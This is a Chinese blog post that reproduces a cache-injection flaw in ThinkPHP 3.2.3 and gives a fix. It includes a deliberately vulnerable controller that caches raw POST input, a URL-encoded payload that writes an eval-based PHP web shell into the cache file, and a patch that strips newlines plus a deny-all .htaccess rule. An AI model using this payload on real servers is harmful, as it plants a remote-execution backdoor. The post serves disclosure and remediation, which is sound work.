php tp3.2 慢,ThinkPhp3.2.3缓存漏洞复现以及修复建议

本文详细介绍了ThinkPHP 3.2.3框架的一个缓存安全漏洞,通过示例代码展示了如何复现该漏洞,并提出了简单的修复方案。修复方法主要涉及在设置缓存时过滤换行符,防止恶意代码执行。同时,指出在实际开发中,一般不建议将接收的参数直接用于缓存,以降低风险。
摘要由CSDN通过智能技术生成

小编作为一个php(拍黄片)的程序员,今天早上无意间看到thinkphp的缓存漏洞,小编在实际开发过程中用thinkphp3.2.3挺多的。

我们这里来复现一下漏洞 后面我会提出修复建议

d3c35fafb7cbab2c0cbf3adad859c954.png

首先我们下载最新的thinkphp3.2.3的框架  搭建好

07e59fa651a3b9938e55764dd3430882.png

按照phpoop牛的审计  我们来写代码

namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller {

public function index(){

$a=I('post.a3');

S('name',$a);

}

}

然后我们来post一段代码

a3=%0A%24a%3deval(%24_POST%5b%27a3%27%5d)%3b%2f%2f

a8df07e273e2fbc125f3bfd4a79f79dd.png

4a92a54c80101bd8673843f465bf2744.png

我们可以看到缓存文件已经出现了

至于这个缓存名称

就是

S('name',$a);

中的name的md5

dce97bc4b9bee67fd52734bae696b44d.png

我们来连接这个一句话

02e60a9368cef5afa6a374ac63755339.png

d3b350dfc2bc1880f59122500740084d.png

我们可以看到

这个漏洞是可以利用的但是这个漏洞比较鸡肋

我们在开发的过程种s缓存一般不会用作接收参数的缓存(me就是 接收过来的参数只查询并不进行其他操作)

详细的讲解了I函数

我们在实际应用的过程当中有详细的解释  比如我们要接收id的时候 id是整数

那么就可以写成I('post.id/d')这样强制转换为整数

33ab0ae6f747278047ce8cc8738a82af.png

实际应用种很少有把接受过来的参数直接缓存起来

修复方案也很简单

用phpoop牛的方法

打开文件:thinkphp\library\think\cache\driver\File.php

public function set($name, $value, $expire = null) 方法

添加:$data = str_replace(PHP_EOL, '', $data);

/**

* 写入缓存

* @access public

* @param string $name 缓存变量名

* @param mixed $value  存储数据

* @param int $expire  有效时间 0为永久

* @return boolean

*/

public function set($name,$value,$expire=null) {

N('cache_write',1);

if(is_null($expire)) {

$expire =  $this->options['expire'];

}

$filename   =   $this->filename($name);

$data   =   serialize($value);

$data = str_replace(PHP_EOL, '', $data); //新增这句代码     修复代码在这里/***********************/

if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {

//数据压缩

$data   =   gzcompress($data,3);

}

if(C('DATA_CACHE_CHECK')) {//开启数据校验

$check  =  md5($data);

}else {

$check  =  '';

}

$data    = "<?php \n//".sprintf('%012d',$expire).$check.$data."\n?>";

$result  =   file_put_contents($filename,$data);

if($result) {

if($this->options['length']>0) {

// 记录缓存队列

$this->queue($name);

}

clearstatcache();

return true;

}else {

return false;

}

}

2.在Application\Runtime目录中创建文件.htaccess

deny from all

c83a79ee3756d1614f703e6b5d1345e2.png

b1db16e023973efc831f568f14b97cd9.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值